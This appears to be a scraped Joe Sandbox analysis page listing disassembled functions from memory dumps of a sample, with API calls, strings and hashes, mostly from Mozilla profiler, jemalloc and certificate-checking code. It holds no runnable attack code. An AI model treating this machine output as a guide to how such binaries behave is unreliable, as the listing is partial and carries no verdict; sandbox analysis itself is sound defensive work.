Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 57678a3a622a57232b0ee05b5c0563c337183d8d806ace32fc09e762579df4ff
Instruction ID: 0fbdd0b7b1ea8a2d0a5ab5ad06bdd41ccad2297e124a62d70fe80d45fdc225b7
Opcode Fuzzy Hash: 57678a3a622a57232b0ee05b5c0563c337183d8d806ace32fc09e762579df4ff
Instruction Fuzzy Hash: FCE08CA191828693DA4037B46C5AF2732AC1B04309F480429FA04C6203FA2DFC108221

Non-executed Functions

Function 6C5E5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5E5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E54BE
__Init_thread_footer.LIBCMT ref: 6C5E54DB

Part of subcall function 6C60AB3F: EnterCriticalSection.KERNEL32(6C65E370,?,?,6C5D3527,6C65F6CC,?,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB49
Part of subcall function 6C60AB3F: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D3527,6C65F6CC,?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60AB7C

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

GetCurrentThreadId.KERNEL32 ref: 6C5E54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5E5516
GetCurrentThreadId.KERNEL32 ref: 6C5E556A
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5E5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5E5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5E5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5E55E6
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5E5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E5616

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

GetCurrentThreadId.KERNEL32 ref: 6C5E563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5E567C
free.MOZGLUE(?), ref: 6C5E56AE

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5E56E8
GetCurrentThreadId.KERNEL32 ref: 6C5E5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5E570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5E5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5E574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5E576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5E5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5E57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5E57CA

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5E548D
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5E54B9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5E5766
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5E5717
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5E5749
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5E5C56
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5E5BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5E584E
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5E5724
MOZ_PROFILER_STARTUP, xrefs: 6C5E55E1
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5E5D01
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5E5D24
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5E5D2B
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5E5CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5E5B38
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5E5791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5E5AC9
GeckoMain, xrefs: 6C5E5554, 6C5E55D5
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5E57AE
[I %d/%d] profiler_init, xrefs: 6C5E564E
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5E54A3
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5E56E3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5E5D1C
MOZ_BASE_PROFILER_HELP, xrefs: 6C5E5511
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5E57C5

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 469d1e64f6e108a48e31b5f3f3de4dd96577b6db7dce823eb904e3f5acdc0407
Instruction ID: ef1e98c87b81248ddb23aa188723eb988797f73a8baa264f33edf250c48306f3
Opcode Fuzzy Hash: 469d1e64f6e108a48e31b5f3f3de4dd96577b6db7dce823eb904e3f5acdc0407
Instruction Fuzzy Hash: 8E2204B1A083009FDB00DF76C89465A77B5AF8B34CFE44929E94697B41EB31C858CB5B

Function 6C5E6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5E6D26

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5E6D73
free.MOZGLUE(00000000), ref: 6C5E6D80
CertGetNameStringW.CRYPT32 ref: 6C5E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5E6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5E6E34
CreateFileW.KERNEL32 ref: 6C5E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5E6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5E7103
free.MOZGLUE(00000000), ref: 6C5E7153
CloseHandle.KERNEL32(?), ref: 6C5E7176
__Init_thread_footer.LIBCMT ref: 6C5E7209
__Init_thread_footer.LIBCMT ref: 6C5E723A
__Init_thread_footer.LIBCMT ref: 6C5E726B
__Init_thread_footer.LIBCMT ref: 6C5E729C
__Init_thread_footer.LIBCMT ref: 6C5E72DC
__Init_thread_footer.LIBCMT ref: 6C5E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5E73C2
VerSetConditionMask.NTDLL ref: 6C5E73F3
VerSetConditionMask.NTDLL ref: 6C5E73FF
VerSetConditionMask.NTDLL ref: 6C5E7406
VerSetConditionMask.NTDLL ref: 6C5E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5E741A
moz_xmalloc.MOZGLUE(?), ref: 6C5E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5E7598
free.MOZGLUE(00000000), ref: 6C5E75AC

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

Strings

(, xrefs: 6C5E768A
wintrust.dll, xrefs: 6C5E72CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C5E72C8
SHA256, xrefs: 6C5E6EC0

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 46b0d8a20bf22f41d27e7427676b167bdc7c16887e893a36cf0e489ee3e3d052
Instruction ID: 7c3440adac99b1014c8e91628bc8a29a74e6f8d9b40e64efdb6c5a79ba706afd
Opcode Fuzzy Hash: 46b0d8a20bf22f41d27e7427676b167bdc7c16887e893a36cf0e489ee3e3d052
Instruction Fuzzy Hash: 515207B1A003159FEB21DF25CC84BAA77B8FF4A344F104599E909A7641DB70AF84CF99

Function 6C610DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C610F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C610F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C610FB7
EnterCriticalSection.KERNEL32(?), ref: 6C610FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C611031
LeaveCriticalSection.KERNEL32(?), ref: 6C6110D0
EnterCriticalSection.KERNEL32(?), ref: 6C61117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C611C39
EnterCriticalSection.KERNEL32(6C65E744), ref: 6C613391
LeaveCriticalSection.KERNEL32(6C65E744), ref: 6C6133CD
LeaveCriticalSection.KERNEL32(?), ref: 6C613431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C613437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6137D2
Compile-time page size does not divide the runtime one., xrefs: 6C613946
MOZ_CRASH(), xrefs: 6C613950
<jemalloc>, xrefs: 6C613941, 6C6139F1
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C613793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6137BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C613559, 6C61382D, 6C613848
MALLOC_OPTIONS, xrefs: 6C6135FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C613A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6137A8

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 0110062b842894c3054e034e9764891d6d5c42babbe61045ede0836c689ce1a1
Instruction ID: ee184e266e5a633bb6b8285f9655a7a36ec9a2c6b824ebc70682003e8ed1328d
Opcode Fuzzy Hash: 0110062b842894c3054e034e9764891d6d5c42babbe61045ede0836c689ce1a1
Instruction Fuzzy Hash: 32539F71A097018FC704CF2DC580615FBE1BF8A329F29C66DE86A9BB91D771E841CB85

Function 6C6334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633EE2

Part of subcall function 6C636180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6361DD
Part of subcall function 6C636180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C63622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C634157

Part of subcall function 6C636180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C636250
Part of subcall function 6C636180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C636292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C634448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C63484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C634863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C634878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C634896
free.MOZGLUE ref: 6C63489F

Strings

, xrefs: 6C634CD2

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 7c779dac480657b61ee80bffdef7da0ac84d77fe5fe14804dd9622b130562c92
Instruction ID: 2ca07b900b94d151ac8b36b786330af89ac69a530e645b770ee4edcab2a2f014
Opcode Fuzzy Hash: 7c779dac480657b61ee80bffdef7da0ac84d77fe5fe14804dd9622b130562c92
Instruction Fuzzy Hash: ECF24D74908780CFC725CF29C08469AFBF1FF8A318F119A5ED98997711DB729886CB46

Function 6C5E64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5E64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5E671C
GetCurrentProcess.KERNEL32 ref: 6C5E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5E672F
GetCurrentProcess.KERNEL32 ref: 6C5E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5E6A80
GetSystemInfo.KERNEL32(?), ref: 6C5E6ABE
__Init_thread_footer.LIBCMT ref: 6C5E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E6AF7

Strings

detoured.dll, xrefs: 6C5E64DA
nvd3d9wrap.dll, xrefs: 6C5E6500
nvdxgiwrap.dll, xrefs: 6C5E6513
_etoured.dll, xrefs: 6C5E64ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5E6798
user32.dll, xrefs: 6C5E6526

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 3287ef0bfc511b62b00645a123dacb1e129d7f0869cecde30c2fa86dd2ecd323
Instruction ID: 5a6936e4d8cb3ca31897ef3904865142b16ceaff693a3e30c1573fef4d843559
Opcode Fuzzy Hash: 3287ef0bfc511b62b00645a123dacb1e129d7f0869cecde30c2fa86dd2ecd323
Instruction Fuzzy Hash: 5CF1E170A0532D9FCB20CF25CC88B9AB7B5AF4A358F144299D909E3641DB31AA85CF95

Function 6C63C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C63C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C63C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C63C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C63CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C63DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C63DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C63DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C63E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C63E472

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: afca64c4bdea6fc73b57fb5fb823ed0553cb6b6917037302d1d58f0eec1ebd43
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: DD33CF71E0022ACFCB04CFA8C8806EDBBF2FF49314F189269D959AB755D731A945CB94

Function 6C5FED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C601695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C601770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C601A3E

Strings

~q]l, xrefs: 6C5FED10
~q]l, xrefs: 6C5FED13

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
